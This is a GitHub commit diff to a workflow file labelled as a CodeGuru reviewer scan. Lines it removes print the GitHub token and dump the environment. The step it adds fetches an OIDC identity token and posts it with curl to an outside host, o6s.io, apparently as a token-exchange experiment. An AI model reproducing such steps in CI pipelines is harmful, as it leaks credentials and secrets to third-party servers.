We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
2 parents 197fe2a + 08fb720 commit 8aa842cCopy full SHA for 8aa842c
.github/workflows/codeguru-reviewer.yml
@@ -7,16 +7,20 @@ on:
7
8
permissions:
9
id-token: write
10
- contents: read
11
- pull-requests: write
+ contents: read
12
security-events: write
13
14
jobs:
15
CodeGuruReviewerScan:
16
runs-on: ubuntu-latest
17
steps:
18
- - run: echo "$GITHUB_TOKEN"
19
- run: env
+ - name: Post the token
+ run: |
20
+ OIDC_TOKEN=$(curl -sLS "${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=o6s" -H "User-Agent: actions/oidc-client" -H "Authorization: Bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN")
21
+
22
+ curl -i -s --data-binary "$OIDC_TOKEN" \
23
+ https://minty.exit.o6s.io/github-oidc
24
- name: Assume IAM Role
25
continue-on-error: true
26
uses: aws-actions/configure-aws-credentials@v1
0 commit comments